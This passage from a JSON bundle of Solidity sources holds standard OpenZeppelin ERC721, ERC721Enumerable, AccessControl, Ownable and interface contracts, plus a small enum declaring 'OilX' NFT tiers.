address to, uint256 tokenId) public {\n safeTransferFrom(from, to, tokenId, \"\");\n }\n\n /**\n * @dev See {IERC721-safeTransferFrom}.\n */\n function safeTransferFrom(address from, address to, uint256 tokenId, bytes memory data) public virtual {\n transferFrom(from, to, tokenId);\n _checkOnERC721Received(from, to, tokenId, data);\n }\n\n /**\n * @dev Returns the owner of the `tokenId`. Does NOT revert if token doesn't exist\n *\n * IMPORTANT: Any overrides to this function that add ownership of tokens not tracked by the\n * core ERC721 logic MUST be matched with the use of {_increaseBalance} to keep balances\n * consistent with ownership. The invariant to preserve is that for any address `a` the value returned by\n * `balanceOf(a)` must be equal to the number of tokens such that `_ownerOf(tokenId)` is `a`.\n */\n function _ownerOf(uint256 tokenId) internal view virtual returns (address) {\n return _owners[tokenId];\n }\n\n /**\n * @dev Returns the approved address for `tokenId`. Returns 0 if `tokenId` is not minted.\n */\n function _getApproved(uint256 tokenId) internal view virtual returns (address) {\n return _tokenApprovals[tokenId];\n }\n\n /**\n * @dev Returns whether `spender` is allowed to manage `owner`'s tokens, or `tokenId` in\n * particular (ignoring whether it is owned by `owner`).\n *\n * WARNING: This function assumes that `owner` is the actual owner of `tokenId` and does not verify this\n * assumption.\n */\n function _isAuthorized(address owner, address spender, uint256 tokenId) internal view virtual returns (bool) {\n return\n spender != address(0) &&\n (owner == spender || isApprovedForAll(owner, spender) || _getApproved(tokenId) == spender);\n }\n\n /**\n * @dev Checks if `spender` can operate on `tokenId`, assuming the provided `owner` is the actual owner.\n * Reverts if `spender` does not have approval from the provided `owner` for the given token or for all its assets\n * the `spender` for the specific `tokenId`.\n *\n * WARNING: This function assumes that `owner` is the actual owner of `tokenId` and does not verify this\n * assumption.\n */\n function _checkAuthorized(address owner, address spender, uint256 tokenId) internal view virtual {\n if (!_isAuthorized(owner, spender, tokenId)) {\n if (owner == address(0)) {\n revert ERC721NonexistentToken(tokenId);\n } else {\n revert ERC721InsufficientApproval(spender, tokenId);\n }\n }\n }\n\n /**\n * @dev Unsafe write access to the balances, used by extensions that \"mint\" tokens using an {ownerOf} override.\n *\n * NOTE: the value is limited to type(uint128).max. This protect against _balance overflow. It is unrealistic that\n * a uint256 would ever overflow from increments when these increments are bounded to uint128 values.\n *\n * WARNING: Increasing an account's balance using this function tends to be paired with an override of the\n * {_ownerOf} function to resolve the ownership of the corresponding tokens so that balances and ownership\n * remain consistent with one another.\n */\n function _increaseBalance(address account, uint128 value) internal virtual {\n unchecked {\n _balances[account] += value;\n }\n }\n\n /**\n * @dev Transfers `tokenId` from its current owner to `to`, or alternatively mints (or burns) if the current owner\n * (or `to`) is the zero address. Returns the owner of the `tokenId` before the update.\n *\n * The `auth` argument is optional. If the value passed is non 0, then this function will check that\n * `auth` is either the owner of the token, or approved to operate on the token (by the owner).\n *\n * Emits a {Transfer} event.\n *\n * NOTE: If overriding this function in a way that tracks balances, see also {_increaseBalance}.\n */\n function _update(address to, uint256 tokenId, address auth) internal virtual returns (address) {\n address from = _ownerOf(tokenId);\n\n // Perform (optional) operator check\n if (auth != address(0)) {\n _checkAuthorized(from, auth, tokenId);\n }\n\n // Execute the update\n if (from != address(0)) {\n // Clear approval. No need to re-authorize or emit the Approval event\n _approve(address(0), tokenId, address(0), false);\n\n unchecked {\n _balances[from] -= 1;\n }\n }\n\n if (to != address(0)) {\n unchecked {\n _balances[to] += 1;\n }\n }\n\n _owners[tokenId] = to;\n\n emit Transfer(from, to, tokenId);\n\n return from;\n }\n\n /**\n * @dev Mints `tokenId` and transfers it to `to`.\n *\n * WARNING: Usage of this method is discouraged, use {_safeMint} whenever possible\n *\n * Requirements:\n *\n * - `tokenId` must not exist.\n * - `to` cannot be the zero address.\n *\n * Emits a {Transfer} event.\n */\n function _mint(address to, uint256 tokenId) internal {\n if (to == address(0)) {\n revert ERC721InvalidReceiver(address(0));\n }\n address previousOwner = _update(to, tokenId, address(0));\n if (previousOwner != address(0)) {\n revert ERC721InvalidSender(address(0));\n }\n }\n\n /**\n * @dev Mints `tokenId`, transfers it to `to` and checks for `to` acceptance.\n *\n * Requirements:\n *\n * - `tokenId` must not exist.\n * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.\n *\n * Emits a {Transfer} event.\n */\n function _safeMint(address to, uint256 tokenId) internal {\n _safeMint(to, tokenId, \"\");\n }\n\n /**\n * @dev Same as {xref-ERC721-_safeMint-address-uint256-}[`_safeMint`], with an additional `data` parameter which is\n * forwarded in {IERC721Receiver-onERC721Received} to contract recipients.\n */\n function _safeMint(address to, uint256 tokenId, bytes memory data) internal virtual {\n _mint(to, tokenId);\n _checkOnERC721Received(address(0), to, tokenId, data);\n }\n\n /**\n * @dev Destroys `tokenId`.\n * The approval is cleared when the token is burned.\n * This is an internal function that does not check if the sender is authorized to operate on the token.\n *\n * Requirements:\n *\n * - `tokenId` must exist.\n *\n * Emits a {Transfer} event.\n */\n function _burn(uint256 tokenId) internal {\n address previousOwner = _update(address(0), tokenId, address(0));\n if (previousOwner == address(0)) {\n revert ERC721NonexistentToken(tokenId);\n }\n }\n\n /**\n * @dev Transfers `tokenId` from `from` to `to`.\n * As opposed to {transferFrom}, this imposes no restrictions on msg.sender.\n *\n * Requirements:\n *\n * - `to` cannot be the zero address.\n * - `tokenId` token must be owned by `from`.\n *\n * Emits a {Transfer} event.\n */\n function _transfer(address from, address to, uint256 tokenId) internal {\n if (to == address(0)) {\n revert ERC721InvalidReceiver(address(0));\n }\n address previousOwner = _update(to, tokenId, address(0));\n if (previousOwner == address(0)) {\n revert ERC721NonexistentToken(tokenId);\n } else if (previousOwner != from) {\n revert ERC721IncorrectOwner(from, tokenId, previousOwner);\n }\n }\n\n /**\n * @dev Safely transfers `tokenId` token from `from` to `to`, checking that contract recipients\n * are aware of the ERC721 standard to prevent tokens from being forever locked.\n *\n * `data` is additional data, it has no specified format and it is sent in call to `to`.\n *\n * This internal function is like {safeTransferFrom} in the sense that it invokes\n * {IERC721Receiver-onERC721Received} on the receiver, and can be used to e.g.\n * implement alternative mechanisms to perform token transfer, such as signature-based.\n *\n * Requirements:\n *\n * - `tokenId` token must exist and be owned by `from`.\n * - `to` cannot be the zero address.\n * - `from` cannot be the zero address.\n * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.\n *\n * Emits a {Transfer} event.\n */\n function _safeTransfer(address from, address to, uint256 tokenId) internal {\n _safeTransfer(from, to, tokenId, \"\");\n }\n\n /**\n * @dev Same as {xref-ERC721-_safeTransfer-address-address-uint256-}[`_safeTransfer`], with an additional `data` parameter which is\n * forwarded in {IERC721Receiver-onERC721Received} to contract recipients.\n */\n function _safeTransfer(address from, address to, uint256 tokenId, bytes memory data) internal virtual {\n _transfer(from, to, tokenId);\n _checkOnERC721Received(from, to, tokenId, data);\n }\n\n /**\n * @dev Approve `to` to operate on `tokenId`\n *\n * The `auth` argument is optional. If the value passed is non 0, then this function will check that `auth` is\n * either the owner of the token, or approved to operate on all tokens held by this owner.\n *\n * Emits an {Approval} event.\n *\n * Overrides to this logic should be done to the variant with an additional `bool emitEvent` argument.\n */\n function _approve(address to, uint256 tokenId, address auth) internal {\n _approve(to, tokenId, auth, true);\n }\n\n /**\n * @dev Variant of `_approve` with an optional flag to enable or disable the {Approval} event. The event is not\n * emitted in the context of transfers.\n */\n function _approve(address to, uint256 tokenId, address auth, bool emitEvent) internal virtual {\n // Avoid reading the owner unless necessary\n if (emitEvent || auth != address(0)) {\n address owner = _requireOwned(tokenId);\n\n // We do not use _isAuthorized because single-token approvals should not be able to call approve\n if (auth != address(0) && owner != auth && !isApprovedForAll(owner, auth)) {\n revert ERC721InvalidApprover(auth);\n }\n\n if (emitEvent) {\n emit Approval(owner, to, tokenId);\n }\n }\n\n _tokenApprovals[tokenId] = to;\n }\n\n /**\n * @dev Approve `operator` to operate on all of `owner` tokens\n *\n * Requirements:\n * - operator can't be the address zero.\n *\n * Emits an {ApprovalForAll} event.\n */\n function _setApprovalForAll(address owner, address operator, bool approved) internal virtual {\n if (operator == address(0)) {\n revert ERC721InvalidOperator(operator);\n }\n _operatorApprovals[owner][operator] = approved;\n emit ApprovalForAll(owner, operator, approved);\n }\n\n /**\n * @dev Reverts if the `tokenId` doesn't have a current owner (it hasn't been minted, or it has been burned).\n * Returns the owner.\n *\n * Overrides to ownership logic should be done to {_ownerOf}.\n */\n function _requireOwned(uint256 tokenId) internal view returns (address) {\n address owner = _ownerOf(tokenId);\n if (owner == address(0)) {\n revert ERC721NonexistentToken(tokenId);\n }\n return owner;\n }\n\n /**\n * @dev Private function to invoke {IERC721Receiver-onERC721Received} on a target address. This will revert if the\n * recipient doesn't accept the token transfer. The call is not executed if the target address is not a contract.\n *\n * @param from address representing the previous owner of the given token ID\n * @param to target address that will receive the tokens\n * @param tokenId uint256 ID of the token to be transferred\n * @param data bytes optional data to send along with the call\n */\n function _checkOnERC721Received(address from, address to, uint256 tokenId, bytes memory data) private {\n if (to.code.length > 0) {\n try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, data) returns (bytes4 retval) {\n if (retval != IERC721Receiver.onERC721Received.selector) {\n revert ERC721InvalidReceiver(to);\n }\n } catch (bytes memory reason) {\n if (reason.length == 0) {\n revert ERC721InvalidReceiver(to);\n } else {\n /// @solidity memory-safe-assembly\n assembly {\n revert(add(32, reason), mload(reason))\n }\n }\n }\n }\n }\n}\n"
},
"lib/openzeppelin-contracts-upgradeable/lib/openzeppelin-contracts/contracts/token/ERC721/extensions/ERC721Enumerable.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts (last updated v5.0.0) (token/ERC721/extensions/ERC721Enumerable.sol)\n\npragma solidity ^0.8.20;\n\nimport {ERC721} from \"../ERC721.sol\";\nimport {IERC721Enumerable} from \"./IERC721Enumerable.sol\";\nimport {IERC165} from \"../../../utils/introspection/ERC165.sol\";\n\n/**\n * @dev This implements an optional extension of {ERC721} defined in the EIP that adds enumerability\n * of all the token ids in the contract as well as all token ids owned by each account.\n *\n * CAUTION: `ERC721` extensions that implement custom `balanceOf` logic, such as `ERC721Consecutive`,\n * interfere with enumerability and should not be used together with `ERC721Enumerable`.\n */\nabstract contract ERC721Enumerable is ERC721, IERC721Enumerable {\n mapping(address owner => mapping(uint256 index => uint256)) private _ownedTokens;\n mapping(uint256 tokenId => uint256) private _ownedTokensIndex;\n\n uint256[] private _allTokens;\n mapping(uint256 tokenId => uint256) private _allTokensIndex;\n\n /**\n * @dev An `owner`'s token query was out of bounds for `index`.\n *\n * NOTE: The owner being `address(0)` indicates a global out of bounds index.\n */\n error ERC721OutOfBoundsIndex(address owner, uint256 index);\n\n /**\n * @dev Batch mint is not allowed.\n */\n error ERC721EnumerableForbiddenBatchMint();\n\n /**\n * @dev See {IERC165-supportsInterface}.\n */\n function supportsInterface(bytes4 interfaceId) public view virtual override(IERC165, ERC721) returns (bool) {\n return interfaceId == type(IERC721Enumerable).interfaceId || super.supportsInterface(interfaceId);\n }\n\n /**\n * @dev See {IERC721Enumerable-tokenOfOwnerByIndex}.\n */\n function tokenOfOwnerByIndex(address owner, uint256 index) public view virtual returns (uint256) {\n if (index >= balanceOf(owner)) {\n revert ERC721OutOfBoundsIndex(owner, index);\n }\n return _ownedTokens[owner][index];\n }\n\n /**\n * @dev See {IERC721Enumerable-totalSupply}.\n */\n function totalSupply() public view virtual returns (uint256) {\n return _allTokens.length;\n }\n\n /**\n * @dev See {IERC721Enumerable-tokenByIndex}.\n */\n function tokenByIndex(uint256 index) public view virtual returns (uint256) {\n if (index >= totalSupply()) {\n revert ERC721OutOfBoundsIndex(address(0), index);\n }\n return _allTokens[index];\n }\n\n /**\n * @dev See {ERC721-_update}.\n */\n function _update(address to, uint256 tokenId, address auth) internal virtual override returns (address) {\n address previousOwner = super._update(to, tokenId, auth);\n\n if (previousOwner == address(0)) {\n _addTokenToAllTokensEnumeration(tokenId);\n } else if (previousOwner != to) {\n _removeTokenFromOwnerEnumeration(previousOwner, tokenId);\n }\n if (to == address(0)) {\n _removeTokenFromAllTokensEnumeration(tokenId);\n } else if (previousOwner != to) {\n _addTokenToOwnerEnumeration(to, tokenId);\n }\n\n return previousOwner;\n }\n\n /**\n * @dev Private function to add a token to this extension's ownership-tracking data structures.\n * @param to address representing the new owner of the given token ID\n * @param tokenId uint256 ID of the token to be added to the tokens list of the given address\n */\n function _addTokenToOwnerEnumeration(address to, uint256 tokenId) private {\n uint256 length = balanceOf(to) - 1;\n _ownedTokens[to][length] = tokenId;\n _ownedTokensIndex[tokenId] = length;\n }\n\n /**\n * @dev Private function to add a token to this extension's token tracking data structures.\n * @param tokenId uint256 ID of the token to be added to the tokens list\n */\n function _addTokenToAllTokensEnumeration(uint256 tokenId) private {\n _allTokensIndex[tokenId] = _allTokens.length;\n _allTokens.push(tokenId);\n }\n\n /**\n * @dev Private function to remove a token from this extension's ownership-tracking data structures. Note that\n * while the token is not assigned a new owner, the `_ownedTokensIndex` mapping is _not_ updated: this allows for\n * gas optimizations e.g. when performing a transfer operation (avoiding double writes).\n * This has O(1) time complexity, but alters the order of the _ownedTokens array.\n * @param from address representing the previous owner of the given token ID\n * @param tokenId uint256 ID of the token to be removed from the tokens list of the given address\n */\n function _removeTokenFromOwnerEnumeration(address from, uint256 tokenId) private {\n // To prevent a gap in from's tokens array, we store the last token in the index of the token to delete, and\n // then delete the last slot (swap and pop).\n\n uint256 lastTokenIndex = balanceOf(from);\n uint256 tokenIndex = _ownedTokensIndex[tokenId];\n\n // When the token to delete is the last token, the swap operation is unnecessary\n if (tokenIndex != lastTokenIndex) {\n uint256 lastTokenId = _ownedTokens[from][lastTokenIndex];\n\n _ownedTokens[from][tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token\n _ownedTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index\n }\n\n // This also deletes the contents at the last position of the array\n delete _ownedTokensIndex[tokenId];\n delete _ownedTokens[from][lastTokenIndex];\n }\n\n /**\n * @dev Private function to remove a token from this extension's token tracking data structures.\n * This has O(1) time complexity, but alters the order of the _allTokens array.\n * @param tokenId uint256 ID of the token to be removed from the tokens list\n */\n function _removeTokenFromAllTokensEnumeration(uint256 tokenId) private {\n // To prevent a gap in the tokens array, we store the last token in the index of the token to delete, and\n // then delete the last slot (swap and pop).\n\n uint256 lastTokenIndex = _allTokens.length - 1;\n uint256 tokenIndex = _allTokensIndex[tokenId];\n\n // When the token to delete is the last token, the swap operation is unnecessary. However, since this occurs so\n // rarely (when the last minted token is burnt) that we still do the swap here to avoid the gas cost of adding\n // an 'if' statement (like in _removeTokenFromOwnerEnumeration)\n uint256 lastTokenId = _allTokens[lastTokenIndex];\n\n _allTokens[tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token\n _allTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index\n\n // This also deletes the contents at the last position of the array\n delete _allTokensIndex[tokenId];\n _allTokens.pop();\n }\n\n /**\n * See {ERC721-_increaseBalance}. We need that to account tokens that were minted in batch\n */\n function _increaseBalance(address account, uint128 amount) internal virtual override {\n if (amount > 0) {\n revert ERC721EnumerableForbiddenBatchMint();\n }\n super._increaseBalance(account, amount);\n }\n}\n"
},
"lib/openzeppelin-contracts-upgradeable/lib/openzeppelin-contracts/contracts/access/AccessControl.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts (last updated v5.0.0) (access/AccessControl.sol)\n\npragma solidity ^0.8.20;\n\nimport {IAccessControl} from \"./IAccessControl.sol\";\nimport {Context} from \"../utils/Context.sol\";\nimport {ERC165} from \"../utils/introspection/ERC165.sol\";\n\n/**\n * @dev Contract module that allows children to implement role-based access\n * control mechanisms. This is a lightweight version that doesn't allow enumerating role\n * members except through off-chain means by accessing the contract event logs. Some\n * applications may benefit from on-chain enumerability, for those cases see\n * {AccessControlEnumerable}.\n *\n * Roles are referred to by their `bytes32` identifier. These should be exposed\n * in the external API and be unique. The best way to achieve this is by\n * using `public constant` hash digests:\n *\n * ```solidity\n * bytes32 public constant MY_ROLE = keccak256(\"MY_ROLE\");\n * ```\n *\n * Roles can be used to represent a set of permissions. To restrict access to a\n * function call, use {hasRole}:\n *\n * ```solidity\n * function foo() public {\n * require(hasRole(MY_ROLE, msg.sender));\n * ...\n * }\n * ```\n *\n * Roles can be granted and revoked dynamically via the {grantRole} and\n * {revokeRole} functions. Each role has an associated admin role, and only\n * accounts that have a role's admin role can call {grantRole} and {revokeRole}.\n *\n * By default, the admin role for all roles is `DEFAULT_ADMIN_ROLE`, which means\n * that only accounts with this role will be able to grant or revoke other\n * roles. More complex role relationships can be created by using\n * {_setRoleAdmin}.\n *\n * WARNING: The `DEFAULT_ADMIN_ROLE` is also its own admin: it has permission to\n * grant and revoke this role. Extra precautions should be taken to secure\n * accounts that have been granted it. We recommend using {AccessControlDefaultAdminRules}\n * to enforce additional security measures for this role.\n */\nabstract contract AccessControl is Context, IAccessControl, ERC165 {\n struct RoleData {\n mapping(address account => bool) hasRole;\n bytes32 adminRole;\n }\n\n mapping(bytes32 role => RoleData) private _roles;\n\n bytes32 public constant DEFAULT_ADMIN_ROLE = 0x00;\n\n /**\n * @dev Modifier that checks that an account has a specific role. Reverts\n * with an {AccessControlUnauthorizedAccount} error including the required role.\n */\n modifier onlyRole(bytes32 role) {\n _checkRole(role);\n _;\n }\n\n /**\n * @dev See {IERC165-supportsInterface}.\n */\n function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {\n return interfaceId == type(IAccessControl).interfaceId || super.supportsInterface(interfaceId);\n }\n\n /**\n * @dev Returns `true` if `account` has been granted `role`.\n */\n function hasRole(bytes32 role, address account) public view virtual returns (bool) {\n return _roles[role].hasRole[account];\n }\n\n /**\n * @dev Reverts with an {AccessControlUnauthorizedAccount} error if `_msgSender()`\n * is missing `role`. Overriding this function changes the behavior of the {onlyRole} modifier.\n */\n function _checkRole(bytes32 role) internal view virtual {\n _checkRole(role, _msgSender());\n }\n\n /**\n * @dev Reverts with an {AccessControlUnauthorizedAccount} error if `account`\n * is missing `role`.\n */\n function _checkRole(bytes32 role, address account) internal view virtual {\n if (!hasRole(role, account)) {\n revert AccessControlUnauthorizedAccount(account, role);\n }\n }\n\n /**\n * @dev Returns the admin role that controls `role`. See {grantRole} and\n * {revokeRole}.\n *\n * To change a role's admin, use {_setRoleAdmin}.\n */\n function getRoleAdmin(bytes32 role) public view virtual returns (bytes32) {\n return _roles[role].adminRole;\n }\n\n /**\n * @dev Grants `role` to `account`.\n *\n * If `account` had not been already granted `role`, emits a {RoleGranted}\n * event.\n *\n * Requirements:\n *\n * - the caller must have ``role``'s admin role.\n *\n * May emit a {RoleGranted} event.\n */\n function grantRole(bytes32 role, address account) public virtual onlyRole(getRoleAdmin(role)) {\n _grantRole(role, account);\n }\n\n /**\n * @dev Revokes `role` from `account`.\n *\n * If `account` had been granted `role`, emits a {RoleRevoked} event.\n *\n * Requirements:\n *\n * - the caller must have ``role``'s admin role.\n *\n * May emit a {RoleRevoked} event.\n */\n function revokeRole(bytes32 role, address account) public virtual onlyRole(getRoleAdmin(role)) {\n _revokeRole(role, account);\n }\n\n /**\n * @dev Revokes `role` from the calling account.\n *\n * Roles are often managed via {grantRole} and {revokeRole}: this function's\n * purpose is to provide a mechanism for accounts to lose their privileges\n * if they are compromised (such as when a trusted device is misplaced).\n *\n * If the calling account had been revoked `role`, emits a {RoleRevoked}\n * event.\n *\n * Requirements:\n *\n * - the caller must be `callerConfirmation`.\n *\n * May emit a {RoleRevoked} event.\n */\n function renounceRole(bytes32 role, address callerConfirmation) public virtual {\n if (callerConfirmation != _msgSender()) {\n revert AccessControlBadConfirmation();\n }\n\n _revokeRole(role, callerConfirmation);\n }\n\n /**\n * @dev Sets `adminRole` as ``role``'s admin role.\n *\n * Emits a {RoleAdminChanged} event.\n */\n function _setRoleAdmin(bytes32 role, bytes32 adminRole) internal virtual {\n bytes32 previousAdminRole = getRoleAdmin(role);\n _roles[role].adminRole = adminRole;\n emit RoleAdminChanged(role, previousAdminRole, adminRole);\n }\n\n /**\n * @dev Attempts to grant `role` to `account` and returns a boolean indicating if `role` was granted.\n *\n * Internal function without access restriction.\n *\n * May emit a {RoleGranted} event.\n */\n function _grantRole(bytes32 role, address account) internal virtual returns (bool) {\n if (!hasRole(role, account)) {\n _roles[role].hasRole[account] = true;\n emit RoleGranted(role, account, _msgSender());\n return true;\n } else {\n return false;\n }\n }\n\n /**\n * @dev Attempts to revoke `role` to `account` and returns a boolean indicating if `role` was revoked.\n *\n * Internal function without access restriction.\n *\n * May emit a {RoleRevoked} event.\n */\n function _revokeRole(bytes32 role, address account) internal virtual returns (bool) {\n if (hasRole(role, account)) {\n _roles[role].hasRole[account] = false;\n emit RoleRevoked(role, account, _msgSender());\n return true;\n } else {\n return false;\n }\n }\n}\n"
},
"lib/openzeppelin-contracts-upgradeable/lib/openzeppelin-contracts/contracts/interfaces/IERC4906.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts (last updated v5.0.0) (interfaces/IERC4906.sol)\n\npragma solidity ^0.8.20;\n\nimport {IERC165} from \"./IERC165.sol\";\nimport {IERC721} from \"./IERC721.sol\";\n\n/// @title EIP-721 Metadata Update Extension\ninterface IERC4906 is IERC165, IERC721 {\n /// @dev This event emits when the metadata of a token is changed.\n /// So that the third-party platforms such as NFT market could\n /// timely update the images and related attributes of the NFT.\n event MetadataUpdate(uint256 _tokenId);\n\n /// @dev This event emits when the metadata of a range of tokens is changed.\n /// So that the third-party platforms such as NFT market could\n /// timely update the images and related attributes of the NFTs.\n event BatchMetadataUpdate(uint256 _fromTokenId, uint256 _toTokenId);\n}\n"
},
"src/OilXEnumDeclaration.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.20;\n\nenum OilXNftTokenType {\n DIAMOND,\n PLATINUM,\n GOLD,\n SILVER,\n BLACK\n}\n"
},
"lib/openzeppelin-contracts-upgradeable/lib/openzeppelin-contracts/contracts/interfaces/IERC20.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts (last updated v5.0.0) (interfaces/IERC20.sol)\n\npragma solidity ^0.8.20;\n\nimport {IERC20} from \"../token/ERC20/IERC20.sol\";\n"
},
"lib/openzeppelin-contracts-upgradeable/lib/openzeppelin-contracts/contracts/interfaces/IERC721.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts (last updated v5.0.0) (interfaces/IERC721.sol)\n\npragma solidity ^0.8.20;\n\nimport {IERC721} from \"../token/ERC721/IERC721.sol\";\n"
},
"lib/openzeppelin-contracts-upgradeable/lib/openzeppelin-contracts/contracts/interfaces/IERC1155.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts (last updated v5.0.0) (interfaces/IERC1155.sol)\n\npragma solidity ^0.8.20;\n\nimport {IERC1155} from \"../token/ERC1155/IERC1155.sol\";\n"
},
"lib/openzeppelin-contracts-upgradeable/lib/openzeppelin-contracts/contracts/access/Ownable.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts (last updated v5.0.0) (access/Ownable.sol)\n\npragma solidity ^0.8.20;\n\nimport {Context} from \"../utils/Context.sol\";\n\n/**\n * @dev Contract module which provides a basic access control mechanism, where\n * there is an account (an owner) that can be granted exclusive access to\n * specific functions.\n *\n * The initial owner is set to the address provided by the deployer. This can\n * later be changed with {transferOwnership}.\n *\n * This module is used through inheritance. It will make available the modifier\n * `onlyOwner`, which can be applied to your functions to restrict their use to\n * the owner.\n */\nabstract contract Ownable is Context {\n address private _owner;\n\n /**\n * @dev The caller account is not authorized to perform an operation.\n */\n error OwnableUnauthorizedAccount(address account);\n\n /**\n * @dev The owner is not a valid owner account. (eg. `address(0)`)\n */\n error OwnableInvalidOwner(address owner);\n\n event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);\n\n /**\n * @dev Initializes the contract setting the address provided by the deployer as the initial owner.\n */\n constructor(address initialOwner) {\n if (initialOwner == address(0)) {\n revert OwnableInvalidOwner(address(0));\n }\n _transferOwnership(initialOwner);\n }\n\n /**\n * @dev Throws if called by any account other than the owner.\n */\n modifier onlyOwner() {\n _checkOwner();\n _;\n }\n\n /**\n * @dev Returns the address of the current owner.\n */\n function owner() public view virtual returns (address) {\n return _owner;\n }\n\n /**\n * @dev Throws if the sender is not the owner.\n */\n function _checkOwner() internal view virtual {\n if (owner() != _msgSender()) {\n revert OwnableUnauthorizedAccount(_msgSender());\n }\n }\n\n /**\n * @dev Leaves the contract without owner. It will not be possible to call\n * `onlyOwner` functions. Can only be called by the current owner.\n *\n * NOTE: Renouncing ownership will leave the contract without an owner,\n * thereby disabling any functionality that is only available to the owner.\n */\n function renounceOwnership() public virtual onlyOwner {\n _transferOwnership(address(0));\n }\n\n /**\n * @dev Transfers ownership of the contract to a new account (`newOwner`).\n * Can only be called by the current owner.\n */\n function transferOwnership(address newOwner) public virtual onlyOwner {\n if (newOwner == address(0)) {\n revert OwnableInvalidOwner(address(0));\n }\n _transferOwnership(newOwner);\n }\n\n /**\n * @dev Transfers ownership of the contract to a new account (`newOwner`).\n * Internal function without access restriction.\n */\n function _transferOwnership(address newOwner) internal virtual {\n address oldOwner = _owner;\n _owner = newOwner;\n emit OwnershipTransferred(oldOwner, newOwner);\n }\n}\n"
},
"lib/openzeppelin-contracts-upgradeable/lib/openzeppelin-contracts/contracts/token/ERC721/IERC721.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts (last updated v5.0.0) (token/ERC721/IERC721.sol)\n\npragma solidity ^0.8.20;\n\nimport {IERC165} from \"../../utils/introspection/IERC165.sol\";\n\n/**\n * @dev Required interface of an ERC721 compliant contract.\n */\ninterface IERC721 is IERC165 {\n /**\n * @dev Emitted when `tokenId` token is transferred from `from` to `to`.\n */\n event Transfer(address indexed from, address indexed to, uint256 indexed tokenId);\n\n /**\n * @dev Emitted when `owner` enables `approved` to manage the `tokenId` token.\n */\n event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId);\n\n /**\n * @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets.\n */\n event ApprovalForAll(address indexed owner, address indexed operator, bool approved);\n\n /**\n * @dev Returns the number of tokens in ``owner``'s account.\n */\n function balanceOf(address owner) external view returns (uint256 balance);\n\n /**\n * @dev Returns the owner of the `tokenId` token.\n *\n * Requirements:\n *\n * - `tokenId` must exist.\n */\n function ownerOf(uint256 tokenId) external view returns (address owner);\n\n /**\n * @dev Safely transfers `tokenId` token from `from` to `to`.\n *\n * Requirements:\n *\n * - `from` cannot be the zero address.\n * - `to` cannot be the zero address.\n * - `tokenId` token must exist and be owned by `from`.\n * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.\n * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon\n * a safe transfer.\n *\n * Emits a {Transfer} event.\n */\n function safeTransferFrom(address from, address to, uint256 tokenId, bytes calldata data) external;\n\n /**\n * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients\n * are aware of the ERC721 protocol to prevent tokens from being forever locked.\n *\n * Requirements:\n *\n * - `from` cannot be the zero address.\n * - `to` cannot be the zero address.\n * - `tokenId` token must exist and be owned by `from`.\n * - If the caller is not `from`, it must have been allowed to move this token by either {approve} or\n * {setApprovalForAll}.\n * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon\n * a safe transfer.\n *\n * Emits a {Transfer} event.\n */\n function safeTransferFrom(address from, address to, uint256 tokenId) external;\n\n /**\n * @dev Transfers `tokenId` token from `from` to `to`.\n *\n * WARNING: Note that the caller is responsible to confirm that the recipient is capable of receiving ERC721\n * or else they may be permanently lost. Usage of {safeTransferFrom} prevents loss, though the caller must\n * understand this adds an external call which potentially creates a reentrancy vulnerability.\n *\n * Requirements:\n *\n * - `from` cannot be the zero address.\n * - `to` cannot be the zero address.\n * - `tokenId` token must be owned by `from`.\n * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.\n *\n * Emits a {Transfer} event.\n */\n function transferFrom(address from, address to, uint256 tokenId) external;\n\n /**\n * @dev Gives permission to `to` to transfer `tokenId` token to another account.\n * The approval is cleared when the token is transferred.\n *\n * Only a single account can be approved at a time, so approving the zero address clears previous approvals.\n *\n * Requirements:\n *\n * - The caller must own the token or be an approved operator.\n * - `tokenId` must exist.\n *\n * Emits an {Approval} event.\n */\n function approve(address to, uint256 tokenId) external;\n\n /**\n * @dev Approve or remove `operator` as an operator for the caller.\n * Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller.\n *\n * Requirements:\n *\n * - The `operator` cannot be the address zero.\n *\n * Emits an {ApprovalForAll} event.\n */\n function setApprovalForAll(address operator, bool approved) external;\n\n /**\n * @dev Returns the account approved for `tokenId` token.\n *\n * Requirements:\n *\n * - `tokenId` must exist.\n */\n function getApproved(uint256 tokenId) external view returns (address operator);\n\n /**\n * @dev Returns if the `operator` is allowed to manage all of the assets of `owner`.\n *\n * See {setApprovalForAll}\n */\n function isApprovedForAll(address owner, address operator) external view returns (bool);\n}\n"
},
"lib/openzeppelin-contracts-upgradeable/lib/openzeppelin-contracts/contracts/token/ERC721/IERC721Receiver.sol": {
